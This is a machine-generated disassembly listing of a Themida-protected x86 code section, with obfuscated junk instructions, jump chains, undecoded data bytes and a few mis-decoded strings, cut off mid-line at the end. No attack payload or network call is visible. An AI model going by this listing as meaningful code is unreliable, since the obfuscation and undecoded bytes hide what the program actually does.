Themida_:0055AFCFj sub esp, 4 mov [esp], edi mov edi, 719346BBh push esi push ebx mov ebx, 3C324A0Eh not ebx dec ebx xor ebx, 1CC82F52h neg ebx add ebx, 5098E161h mov esi, ebx pop ebx jmp loc_55B4A1 ; --------------------------------------------------------------------------- dd 4C681h, 0A2E90000h, 8100004Dh, 4ECh, 24148900h, 4BAh dd 0FFD30100h, 815A2434h, 4C4h, 241C8700h, 0F24248Bh, 0EC81C8B6h dd 4, 89241489h, 4C281E2h, 81000000h, 4ECh, 851FE900h dd 0E95E0000h, 43D6h, 335DEB01h, 1C31241Ch, 241C3324h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx push edi mov edi, 70EB5123h jmp loc_553C2B ; --------------------------------------------------------------------------- loc_5562B5: ; CODE XREF: Themida_:005617E5j pop esp push dword ptr [esp] pop eax add esp, 4 pop eax jmp loc_5572D4 ; --------------------------------------------------------------------------- dw 0B951h dd 689159BAh, 10CBAE9h db 0 ; --------------------------------------------------------------------------- loc_5562D1: ; CODE XREF: Themida_:00553D07j dec edi shr edi, 2 sub edi, 9E9E77E5h jmp loc_567E96 ; --------------------------------------------------------------------------- dd 242C895Ch, 0C581E589h, 4, 0B340E950h, 0C890000h, 86A0E924h dd 83560000h, 48904ECh, 8DB95124h, 0B8333D35h, 3ED8DAD7h dd 0F759C801h, 8886E9D8h, 83B00000h, 0C6082D34h, 0D3D3E9h db 0 ; --------------------------------------------------------------------------- loc_556321: ; CODE XREF: Themida_:00558FEAj add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push esi push esi jmp loc_556E21 ; --------------------------------------------------------------------------- word_556336 dw 8B66h ; DATA XREF: Themida_:00552A28o dd 9CE9240Ch, 5C000000h, 0FFF651E9h db 0FFh ; --------------------------------------------------------------------------- loc_556345: ; CODE XREF: Themida_:00562D4Ej mov [esp], edx push 2AE8h mov [esp], ecx mov ecx, 770704FAh mov edx, ecx pop ecx xor edx, 1CDD7C03h push ecx mov ecx, 74A71E34h dec ecx inc ecx dec ecx and ecx, 2EF55CBAh sub ecx, 27FC6E2Eh xor ecx, 8ED9A13Bh add edx, ecx jmp loc_5538AB ; --------------------------------------------------------------------------- loc_556380: ; CODE XREF: Themida_:00563EDDj mov eax, [esp] jmp loc_5609E8 ; --------------------------------------------------------------------------- dd 4B0EBE56h, 0DBE960F2h, 80000025h, 0CCFEDEC4h, 0C480C4FEh dd 0E78853CAh, 585BFD88h, 0FFFB19E9h, 2D468FFh, 34890000h dd 0F6EEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5563B6: ; CODE XREF: Themida_:00561414j or edx, eax shl edx, 1 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push edi push 10B6110Fh jmp loc_556A58 ; --------------------------------------------------------------------------- db 68h dd 79C7h, 11A4BE9h, 796C6800h, 2C890000h, 0C3BD6624h, 313E93Dh dd 0F1800000h, 0F5EF8087h, 10E4E9h db 0 ; --------------------------------------------------------------------------- loc_556401: ; CODE XREF: Themida_:00567F73j xor ah, 7Ch or bh, ah pop eax jmp loc_5569DE ; --------------------------------------------------------------------------- loc_55640C: ; CODE XREF: Themida_:0055A06Aj add eax, 17FB28A4h pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_5574C1 ; --------------------------------------------------------------------------- dd 5A19C781h, 5AE94344h db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556437: ; CODE XREF: Themida_:0056062Ej sub edi, 78AE3011h jmp loc_5569A3 ; --------------------------------------------------------------------------- dw 0DCBDh dd 0E909D715h, 0FFFFD0DBh, 4919E281h, 0EA8146EAh, 1765E597h dd 2295E9h, 4C38100h, 83000000h, 1C8704EBh, 24248B24h dd 53240489h, 6E9D788h, 5AFFFFE5h, 50C1F581h, 525322F1h dd 0FFFFFFBAh, 5AD389FFh, 3FE9DD01h, 5BFFFFD5h, 8324348Bh dd 0E38104C4h, 108C7775h, 5607EBC1h, 24537CBEh, 0EEE8163h dd 681ED035h, 0 dd 5E243429h, 5607E6C1h, 0FFE45FE9h, 77E95DFFh, 89000023h dd 0B568243Ch, 5F1BD448h, 35D1F781h, 0CF813AF9h, 71734D9Dh dd 1495E9h, 24248B00h, 24048966h, 0FFC6D2E9h, 0B5ED81FFh dd 8105D068h, 0BC75DEEDh, 0CD815E33h, 0F9D6528h, 235AED81h dd 0EDC103E1h, 0E7CD8108h, 810AF704h, 1B649EC5h, 8C13E91Ch dd 3F680000h, 5E7D5A35h, 6AF6814Eh, 89687E69h, 0FF72E9F1h dd 68680000h, 89000061h, 2BA2414h, 0E9000000h, 1F84h, 0EE19F681h dd 8CE99778h, 55000047h, 364CEEBDh, 5DEA892Ah, 0D33AEA81h dd 0D629F9C7h, 0A8BA525Ah, 0E94E28B1h, 1145Bh, 83240C8Bh dd 448104C4h, 310A0424h, 7C0174B5h, 6C810424h, 310A0424h dd 93E974B5h, 5700005Dh, 83E9E789h, 550000A8h, 4BDh, 5DEA0100h dd 5C241487h, 0D965E9h, 0E9515F00h, 0FFFFDDE6h ; --------------------------------------------------------------------------- loc_5565A4: ; CODE XREF: Themida_:0055E1E7j mov edx, 0A2D4EA0h add eax, edx pop edx add eax, 250F7827h sub eax, 55560209h add eax, edi add eax, 55560209h sub eax, 250F7827h sub eax, 0A2D4EA0h add eax, 2D7940CFh mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_56017A ; --------------------------------------------------------------------------- dd 0E981E901h, 43A47F55h, 0E9242C8Bh, 0FFFFF3D5h ; --------------------------------------------------------------------------- loc_5565F0: ; CODE XREF: Themida_:00554CD9j sub ecx, esi jmp loc_559593 ; --------------------------------------------------------------------------- loc_5565F7: ; CODE XREF: Themida_:00553ADBj pop dword ptr [esp] jmp loc_555E2C ; --------------------------------------------------------------------------- db 55h dd 0FA475EBDh, 2CCD8149h, 0E9090833h, 436Fh, 5A545255h dd 7BE6E9h, 4896600h, 80D2B024h, 0C30046EBh, 0E946C380h dd 0BB0Bh ; --------------------------------------------------------------------------- loc_55662C: ; CODE XREF: Themida_:00557B05j shr eax, 10h xor eax, ecx push 3AFh mov [esp], eax push 1E22h mov [esp], ebx jmp loc_55F433 ; --------------------------------------------------------------------------- loc_556646: ; CODE XREF: Themida_:005537AAj xor ebx, 833C50E1h push eax mov eax, 778230AFh xor eax, 419C7EE4h neg eax neg eax add eax, 0F47516Bh xor eax, 5C944A36h jmp loc_55B607 ; --------------------------------------------------------------------------- dw 2FB2h dd 0FFD9E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_556671: ; CODE XREF: Themida_:0055C8C6j dec edx add edx, 0AE4CD175h add ebx, edx pop edx jmp loc_5558C1 ; --------------------------------------------------------------------------- loc_556680: ; CODE XREF: Themida_:00558CF6j push dword ptr [esp] pop eax push ebx mov ebx, esp jmp loc_56237B ; --------------------------------------------------------------------------- aASx db 'аМ',8,'Иx;',0 align 4 dd 83241C8Bh, 1CE904C4h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55669F: ; CODE XREF: Themida_:005629F5j add edi, esi pop esi sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esp push edi mov edi, 4 add dword ptr [esp+4], 48391161h add [esp+4], edi jmp loc_55584F ; --------------------------------------------------------------------------- loc_5566C8: ; CODE XREF: Themida_:0055338Cj mov esi, [esp] jmp loc_561CCA ; --------------------------------------------------------------------------- dd 0B6241489h, 9CC68087h, 5855E9h db 0 ; --------------------------------------------------------------------------- loc_5566DD: ; CODE XREF: Themida_:0055A6EFj add esi, 4 jmp loc_5576DB ; --------------------------------------------------------------------------- dd 54241C89h, 0FFF873E9h db 0FFh ; --------------------------------------------------------------------------- loc_5566F1: ; CODE XREF: Themida_:0055BD44j mov [esp], ebx mov ebx, esp add ebx, 4 push 435Ah mov [esp], esi jmp loc_5653DB ; --------------------------------------------------------------------------- db 66h, 68h, 0 dd 2C296600h, 2C8B6624h, 2C48324h, 68665066h, 70E97C32h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556723: ; CODE XREF: Themida_:00568185j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 28283906h push 731Eh mov [esp], edx mov edx, 1EDF5770h jmp loc_56718A ; --------------------------------------------------------------------------- db 87h dd 15C2404h, 58042444h, 0E9240401h, 0FFFFECE5h ; --------------------------------------------------------------------------- loc_556760: ; CODE XREF: Themida_:0055B2D6j and edx, 49B52367h add edx, 3A5F0378h add esi, edx pop edx add esi, 60AC8F99h add ebx, esi jmp loc_55B400 ; --------------------------------------------------------------------------- aIchO db '┴Гh╤O',0 dw 8900h dd 4B82404h, 1000000h, 0C78358C7h, 243C8704h, 692C685Ch dd 34890000h, 815E5424h, 4ECh, 241C8900h, 306F68h, 53B4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5567B2: ; CODE XREF: Themida_:005671D6j pop eax push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_56190B ; --------------------------------------------------------------------------- dd 0E924048Bh, 53ECh, 2EBD6655h, 0F5816602h, 2EE9497Bh dd 50000018h, 1B8h, 1A13E900h db 1, 0 ; --------------------------------------------------------------------------- loc_5567E6: ; CODE XREF: Themida_:00552FBFj sub ebp, ecx add ebp, 11066006h pop ecx xchg ebp, [esp] mov esp, [esp] mov [esp], ebp push 1D35838Dh jmp loc_566652 ; --------------------------------------------------------------------------- word_556802 dw 34FFh ; DATA XREF: Themida_:00552A9Co dd 54505824h, 38BB5358h, 81619305h, 0EF752CEBh, 18C38153h dd 0E90E0E65h, 81F7h ; --------------------------------------------------------------------------- loc_556820: ; CODE XREF: Themida_:00565DC7j not al sub esp, 2 jmp loc_5576C9 ; --------------------------------------------------------------------------- dw 0D501h dd 242C875Ah, 27E9555Ch db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556837: ; CODE XREF: Themida_:0055364Fj add ecx, 74BB2970h sub ecx, 669E644Bh add ecx, eax add ecx, 669E644Bh sub esp, 4 mov [esp], eax mov eax, 74BB2970h sub ecx, eax pop eax mov eax, [esp] jmp loc_56108F ; --------------------------------------------------------------------------- loc_556864: ; CODE XREF: Themida_:0055ECE2j add esp, 4 add esi, edx mov edx, [esp] push ebx mov ebx, esp jmp loc_56729F ; --------------------------------------------------------------------------- loc_556874: ; CODE XREF: Themida_:0055C993j push 39C7h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_562593 ; --------------------------------------------------------------------------- loc_556891: ; CODE XREF: Themida_:0055F46Fj add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55827A ; --------------------------------------------------------------------------- loc_5568B9: ; CODE XREF: Themida_:0056314Aj not edi xchg eax, edi push eax mov eax, esp jmp loc_55FE97 ; --------------------------------------------------------------------------- loc_5568C4: ; CODE XREF: Themida_:00555DF7j push eax mov eax, 79F86F5Fh neg eax dec eax add eax, 0DC0488FDh dec eax jmp loc_55C8CB ; --------------------------------------------------------------------------- loc_5568D8: ; CODE XREF: Themida_:00554509j push edx mov edx, 9FB44E3h jmp loc_5554F2 ; --------------------------------------------------------------------------- byte_5568E3 db 0FFh ; DATA XREF: Themida_:00552908o dd 34FF2434h, 54505824h, 40558h, 4050000h, 33000000h, 0FEE92404h db 2, 1, 0 ; --------------------------------------------------------------------------- loc_5568FF: ; CODE XREF: Themida_:0055DC90j add eax, 4 xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_5642CE ; --------------------------------------------------------------------------- dw 0BB53h dd 2, 555BDD01h, 9BE95D54h, 0FFFFE7h, 0B35366D8h, 0E6BAE9D8h dd 0BB53FFFFh, 1FF53E70h, 0E5E9DA89h db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_556943: ; CODE XREF: Themida_:00553B69j add ebx, 4 jmp loc_554525 ; --------------------------------------------------------------------------- dw 0C681h dd 4586340Ch, 49266853h, 2C890000h, 1F96BD24h, 7FE97ED4h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556967: ; CODE XREF: Themida_:0055EBF3j mov ebp, 54C36B0Dh jmp loc_55D7BE ; --------------------------------------------------------------------------- loc_556971: ; CODE XREF: Themida_:00561652j sub ecx, 424E1F5Dh push 145Bh mov [esp], edx mov edx, 0AC2D0A9h jmp loc_55D0D5 ; --------------------------------------------------------------------------- db 57h, 0BFh, 49h dd 171BF78h, 1C8B5FF8h, 0E6895624h, 4C681h, 0A5E90000h db 0, 1, 0 ; --------------------------------------------------------------------------- loc_5569A3: ; CODE XREF: Themida_:0055643Dj mov esi, [esp] add esp, 4 pop edx xchg edi, [esp] pop esp div cx push small 72EBh mov [esp], dx jmp loc_55D90B ; --------------------------------------------------------------------------- loc_5569BE: ; CODE XREF: Themida_:00563B21j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_563EC7 ; --------------------------------------------------------------------------- dd 8103E1C1h, 870759F1h, 3034E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5569DE: ; CODE XREF: Themida_:00556407j add bh, 78h add dh, bh pop bx sub esp, 4 mov [esp], eax push ebx mov bh, 2Ch jmp loc_558F44 ; --------------------------------------------------------------------------- dw 814Bh dd 231DE7F3h, 81D3F74Ah, 74359CC3h, 5BD829B7h, 0FF2434FFh dd 555A2434h, 0FE34E954h, 1C8B0000h, 5D1EE924h, 0EB830000h dd 241C3304h, 14ABE9h, 81E58900h, 4C5h, 4ED8100h, 55000000h dd 0D97BE9h, 68516600h, 1225h, 1500E9h db 0 byte_556A49 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552904o dd 8904EC83h, 0E9552434h, 0FFFFD1A1h ; --------------------------------------------------------------------------- loc_556A58: ; CODE XREF: Themida_:005563D6j pop edi inc edi push ebp mov ebp, 10B6110Fh sub edi, ebp mov ebp, [esp] add esp, 4 mov ebx, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp pop ebx push esi mov esi, 4 add ebx, esi pop esi push ebp jmp loc_55C9D7 ; --------------------------------------------------------------------------- db 68h, 70h, 29h dd 0CE94B5Ah, 810000B3h, 0A53D01C1h, 0BF318108h, 8B2EBC46h dd 0C483240Ch, 0C39D6104h, 0FFC10AE9h, 0A8BE56FFh, 814D571Eh dd 21709CC6h, 5EF031A6h, 158C231h, 2434FFD1h, 9D19E9h dd 0E9D6F700h, 0FFFFE82Eh, 5762F581h, 0C5814FF0h, 219E632Dh dd 4FB9E581h, 5EE95DAEh db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556AEB: ; CODE XREF: Themida_:005655BDj push ecx mov ecx, 6B1D26EEh sub edx, 5C527AEh add edx, ecx jmp loc_555ABE ; --------------------------------------------------------------------------- dw 0C280h dd 5AD50096h, 0FE59EE28h, 0B15166CEh, 858CE916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556B12: ; CODE XREF: Themida_:00563122j push 20594D69h push dword ptr [esp] pop esi add esp, 4 jmp loc_563A35 ; --------------------------------------------------------------------------- aMhW db '╛h╫W',0 ; DATA XREF: Themida_:005529C0o align 4 dd 50240C89h, 0DCF64BB4h, 0FFF85AE9h db 0FFh ; --------------------------------------------------------------------------- loc_556B39: ; CODE XREF: Themida_:0055E2CDj jmp loc_552BBB ; --------------------------------------------------------------------------- dw 0B850h dd 0B272902h, 0FFD57EE9h, 6CA1BFFFh, 0EFD127E9h, 0C505F781h dd 0E3E94D83h, 2900008Fh, 0DE0158C6h, 9C7BD55h, 0ED813645h dd 19600848h, 789DEE81h, 67E90AF7h, 5A000041h, 0D8F7D0F7h dd 0B405A92Dh, 761F2523h, 7E929D3h, 8900001Ch, 84BFE9C3h dd 0F1810000h, 45283D50h, 0E7AEE981h, 0C801A0BDh, 16F0E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556BA6: ; CODE XREF: Themida_:0055B70Fj pop ebp add ebx, edi sub ebx, 485714BBh add ebx, 573301Ch jmp loc_559FD6 ; --------------------------------------------------------------------------- loc_556BBA: ; CODE XREF: Themida_:0055F89Ej xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_565B0A ; --------------------------------------------------------------------------- dword_556BC8 dd 240C8B66h, 0DBD9E957h, 148B0000h, 4C48324h, 4C281h ; DATA XREF: Themida_:00552A48o dd 0EA830000h, 4C276804h, 57E90000h, 8F000021h, 0F3E92404h dd 520000F1h, 4EC81h, 0C890000h, 5021B524h, 0EF14E9h db 0 ; --------------------------------------------------------------------------- loc_556C05: ; CODE XREF: Themida_:00561939j sub eax, ecx pop ecx add eax, 8E00BC6h dec eax jmp loc_554600 ; --------------------------------------------------------------------------- byte_556C13 db 0FFh ; DATA XREF: Themida_:00552B70o dd 0C8B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55EDE7 ; --------------------------------------------------------------------------- db 58h, 8Bh, 1Ch aS1_ db '$И1_',0 align 2 dw 1668h dd 0E913F711h, 0FFFFC2CFh, 4BAh, 5AD72900h, 0E9243C87h dd 2AABh, 0C75F03B9h, 3365E927h, 0CD890000h, 8BEB2959h dd 0C483242Ch, 7EA5E904h, 0E9540000h, 1017Dh, 5156E089h dd 4D5982B9h, 86BA521Ch, 891C4D59h, 0CE315AD6h, 51240C8Bh dd 0C181E189h, 4, 10571E9h, 0AEF68100h, 0E9930A78h, 0FFFFC719h dd 89240C89h, 4C181E1h, 81000000h, 4ECh, 4649E900h, 315D0000h dd 242C8BEFh, 5304C483h, 1BBh, 0E9DF2900h, 843Ch, 0A5E9D301h db 69h, 2 dup(0) byte_556CC7 db 0ADh ; DATA XREF: Themida_:005529C8o dd 0A469A005h, 0BDE95639h, 810000A4h, 4D5EA9C3h, 0B9515552h dd 5CE40BDBh, 391C9EBDh, 876BE99Ah, 2B90000h, 2D000000h dd 0C8B3B35h, 0FFDCB7E9h, 2EC81FFh, 66000000h, 0B6241489h dd 9B45E903h, 5E050000h, 56092B1Eh, 282AEDBEh, 9E35E92Fh dd 0CD310000h, 68240C8Bh, 271Dh, 4769E9h db 0 byte_556D29 db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:00552AC4o dd 0FFBE8AE9h, 240428FFh, 5724048Ah, 0C7815F54h, 4, 8702C783h dd 248B243Ch, 3F2C24h, 0E2C058C2h, 80D2F604h, 0E9534ACAh dd 8718h ; --------------------------------------------------------------------------- loc_556D5C: ; CODE XREF: Themida_:005594BFj add esi, 1A8E59FFh push 62FBh mov [esp], esi push eax mov eax, 2875C87h push 492Ah mov [esp], ebx mov ebx, 7F71DA8h add dword ptr [esp+8], 448A3D84h sub [esp+8], ebx sub dword ptr [esp+8], 448A3D84h pop ebx sub [esp+4], eax push esi mov esi, 7F71DA8h sub dword ptr [esp+8], 393622DCh sub dword ptr [esp+8], 3CF23D5Eh add [esp+8], esi jmp loc_55E2ED ; --------------------------------------------------------------------------- loc_556DB5: ; CODE XREF: Themida_:00555159j pop edx pop eax shr edx, 4 jmp loc_553C91 ; --------------------------------------------------------------------------- db 81h dd 4EFh, 243C8700h, 43B1E95Ch db 2 dup(0) word_556DCE dw 8B66h ; DATA XREF: Themida_:00552A20o dd 0FCE9240Ch db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556DD7: ; CODE XREF: Themida_:005570A7j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5537EE ; --------------------------------------------------------------------------- loc_556DE9: ; CODE XREF: Themida_:00554C87j sub eax, 170C6F24h push 10E7h jmp loc_55357D ; --------------------------------------------------------------------------- dd 0FF5FFD29h, 0C8B2434h, 4C48324h, 4C481h, 0BA520000h dd 2, 7887E9h, 2817B800h, 0C701116Ch, 0CDC4E9h db 0 ; --------------------------------------------------------------------------- loc_556E21: ; CODE XREF: Themida_:00556331j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push 15377E90h push dword ptr [esp] pop eax jmp loc_56728A ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 50000000h, 4B8h, 0E9C20100h, 0FFFFD7A3h ; --------------------------------------------------------------------------- loc_556E54: ; CODE XREF: Themida_:0055FB7Bj pop edx push eax mov eax, 4 add edx, eax jmp loc_558FA6 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835A24h, 2D116804h, 34890000h, 8AE95424h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556E77: ; CODE XREF: Themida_:00565195j mov bh, 0Ch jmp loc_55EB3D ; --------------------------------------------------------------------------- dw 0BA52h dd 0AEF3648h, 4467BA52h, 0EAD152F5h, 0B55AE9h db 0 ; --------------------------------------------------------------------------- loc_556E91: ; CODE XREF: Themida_:00558835j pop edi mov edi, esi jmp loc_567EE6 ; --------------------------------------------------------------------------- aUhFz_lSsa db 'Uh╟F╖_▀,$И≥A',0 db 0 ; --------------------------------------------------------------------------- loc_556EA7: ; CODE XREF: Themida_:00554D50j xor eax, edx mov edx, [esp] add esp, 4 add ebp, eax mov eax, [esp] jmp loc_55B514 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0DCh dd 0D15E4216h, 78E981E9h, 0F71CB00Bh, 0FBC181D1h, 11270FFh dd 0C152E9CBh, 0F587FFFFh, 0A6F5815Eh, 0F771FF17h, 49C581DDh dd 1A5A7CFh, 0C8015DE9h, 0B77DE9h db 0 ; --------------------------------------------------------------------------- loc_556EF1: ; CODE XREF: Themida_:0055C387j mov eax, 0 jmp loc_5671E2 ; --------------------------------------------------------------------------- db 8Bh dd 0EC812424h, 4, 89241C89h, 2AE0E9E3h, 0E8680000h, 8900005Eh dd 8BE92404h, 500000F6h, 0B498A9B8h, 5FCDE97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556F26: ; CODE XREF: Themida_:00554B51j mov [esp], edx push eax push 6B37h mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_55FE09 ; --------------------------------------------------------------------------- loc_556F3F: ; CODE XREF: Themida_:005576ECj add esi, 4 jmp loc_5580C3 ; --------------------------------------------------------------------------- loc_556F4A: ; CODE XREF: Themida_:00557768j xor edi, edx mov edx, [esp] add esp, 4 and ecx, edi push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 push 568Fh mov [esp], ecx push esp jmp loc_55D5F3 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 5FE943B7h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556F7F: ; CODE XREF: Themida_:00555A63j push dword ptr [esp] jmp loc_562E72 ; --------------------------------------------------------------------------- loc_556F87: ; CODE XREF: Themida_:00562609j xor ebx, [esp] jmp loc_567395 ; --------------------------------------------------------------------------- loc_556F8F: ; CODE XREF: Themida_:00562304j pop eax xor dh, 0DFh xor al, dh pop edx sub bl, 0Fh add bl, 99h jmp loc_55531A ; --------------------------------------------------------------------------- dd offset dword_457444+0D24h align 2 dw 5FE9h dd 0E900003Ch, 0FFFFBC0Bh ; --------------------------------------------------------------------------- loc_556FB0: ; CODE XREF: Themida_:0055CB4Fj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], cx mov cl, 1Bh sub al, 0F6h sub al, 89h add al, cl add al, 89h add al, 0F6h pop cx push 1E48h jmp loc_558BC5 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815B24h, 4, 0E9241433h, 10593h, 0E924048Bh, 9FA4h ; --------------------------------------------------------------------------- loc_556FF0: ; CODE XREF: Themida_:00554DDCj push ebx mov ebx, 12F16758h mov ebp, ebx pop ebx mov edx, 24F28BEFh sub edx, ebp jmp loc_557312 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4BF57h, 96E90000h, 53000009h, 8A90E9h db 0 ; --------------------------------------------------------------------------- loc_557019: ; CODE XREF: Themida_:0055485Fj mov ebp, [esp] push 0BF7h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg edi, ebx neg edi xchg edi, ebx push ebp push ecx mov ecx, 175E381Ch or ecx, 3CE1730h xor ecx, 0CB52AF4Fh jmp loc_564822 ; --------------------------------------------------------------------------- loc_557051: ; CODE XREF: Themida_:0055E48Fj xor ebx, edi pop edi dec ebx shl ebx, 1 push ebp mov ebp, 3A2E61D2h shr ebp, 7 and ebp, 574F3ECCh shl ebp, 2 shl ebp, 3 xor ebp, 437AFE6h xor ebx, ebp mov ebp, [esp] add esp, 4 mov esi, ebx pop ebx sub edi, 41CE2966h add edi, esi add edi, 41CE2966h pop esi xchg edi, [esp] mov esp, [esp] shl esi, 4 sub esi, 833B9BD0h and eax, esi push dword ptr [esp] pop esi push ebp mov ebp, esp jmp loc_556DD7 ; --------------------------------------------------------------------------- loc_5570AC: ; CODE XREF: Themida_:00565A76j push dword ptr [esp] pop eax push 914h mov [esp], ebx mov ebx, esp sub esp, 4 jmp loc_561C76 ; --------------------------------------------------------------------------- aQsu db 'QИ⌠е',0 dw 8700h dd 0E95C243Ch, 0FFFFC122h, 240C8B5Bh, 4BCAE951h, 80590000h dd 0F280FAC2h, 66CAFE84h, 30AEB551h, 685966EAh, 2242h dd 0B1240C89h, 0D18BE9E8h, 0B4BD0000h, 173FB02h, 0F29CE9E9h dd 0E3C10000h, 0EEBE5606h, 811F8C07h, 360594E6h, 79E9466Eh dd 89000015h, 4C681E6h, 83000000h, 348704C6h, 1C335C24h dd 241C3124h, 5C241C33h, 240C8B66h, 0AC55E9h, 20E95800h dd 0BB000001h, 4D3951ADh, 4933EB81h, 0EB812348h, 0EF86FC4Ch dd 5EE9DF29h, 0B90000F6h, 2B996632h, 4859C889h, 70FBE9h db 0 ; --------------------------------------------------------------------------- loc_55716D: ; CODE XREF: Themida_:0055BDDFj or esi, 21D36194h xor esi, 17872F4Eh dec esi xor esi, 8F6250A4h jmp loc_561E4C ; --------------------------------------------------------------------------- loc_557185: ; CODE XREF: Themida_:0055F981j pop esp sub esp, 4 jmp loc_554C26 ; --------------------------------------------------------------------------- db 5Ah, 66h, 59h dd 6804EBC0h, 1747h, 0B6241489h, 68DEF6F9h, 3169h, 0B0240489h dd 24D8F613h, 0FEBD0CB9h, 8A6CE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5571BA: ; CODE XREF: Themida_:005555E6j xchg ecx, [esp] jmp loc_5638A5 ; --------------------------------------------------------------------------- dw 431h dd 0F0E99C24h, 89FFFFB9h, 51E92404h, 660000C1h, 68D7E981h dd 0DBC18166h, 0F181660Ch, 166C87Ah, 8BF1E9CDh, 0EB830000h dd 0D9E3E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5571F2: ; CODE XREF: Themida_:00557C59j xor edi, 1FE6D40h add ebx, edi pop edi add edi, ebx mov ebx, [esp] add esp, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_555824 ; --------------------------------------------------------------------------- loc_557210: ; CODE XREF: Themida_:00552C0Aj sub cl, 0D1h push eax mov ah, 30h sub cl, ah pop eax pop bx push ebx mov bl, 0DBh xor bl, 21h sub bl, 6Dh sub al, bl pop ebx jmp loc_5680B8 ; --------------------------------------------------------------------------- dword_55722C dd 9D1C77FFh, 1CD25966h, 80E99C24h ; DATA XREF: Themida_:00552974o db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55723B: ; CODE XREF: Themida_:0055B4FCj sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi jmp loc_5673B9 ; --------------------------------------------------------------------------- loc_55724A: ; CODE XREF: Themida_:005611EBj pop edi jmp loc_565FD5 ; --------------------------------------------------------------------------- dword_557250 dd 0E932FF66h, 0FFFFB963h ; DATA XREF: Themida_:005529F4o ; --------------------------------------------------------------------------- loc_557258: ; CODE XREF: Themida_:0055E05Fj shl edx, 1 push 6721h mov [esp], esi jmp loc_5632E3 ; --------------------------------------------------------------------------- db 1 dd 0CEEA81C2h, 580FBD6Dh, 31241433h, 25E92414h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55727B: ; CODE XREF: Themida_:0055CE37j pop edx add eax, 22376107h push esi mov esi, 3B200E8Eh shr esi, 8 xor esi, 73BF2226h not esi shr esi, 2 xor esi, 1DE3A744h sub eax, esi pop esi add eax, 6BE7067Eh sub eax, ebx sub eax, 6BE7067Eh add eax, 3EFD5831h sub eax, 22376107h pop ebx push edi jmp loc_560640 ; --------------------------------------------------------------------------- db 89h dd 5BD889D3h, 2444015Ah, 2434FF04h, 8324048Bh, 0E95004C4h dd 7A4h ; --------------------------------------------------------------------------- loc_5572D4: ; CODE XREF: Themida_:005562C1j push ecx push ebx jmp loc_553B2A ; --------------------------------------------------------------------------- loc_5572DB: ; CODE XREF: Themida_:0055DDA5j sub ah, bl pop ebx and ah, 2Ch push dx mov dh, 0F6h xor ah, dh jmp loc_562300 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 348B5456h, 0C72E924h dd 0BBBF0001h, 29628263h, 7F0FE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557312: ; CODE XREF: Themida_:00557000j pop ebp add ecx, edx mov edx, [esp] push ebp jmp loc_55BA94 ; --------------------------------------------------------------------------- dw 0C483h dd 32B3E904h, 0F3810000h, 4CE39615h, 815BDF89h, 0DB3981C7h dd 81DF016Eh, 0DB3981EFh, 0F8315B6Eh, 815EE9h db 0 ; --------------------------------------------------------------------------- loc_557345: ; CODE XREF: 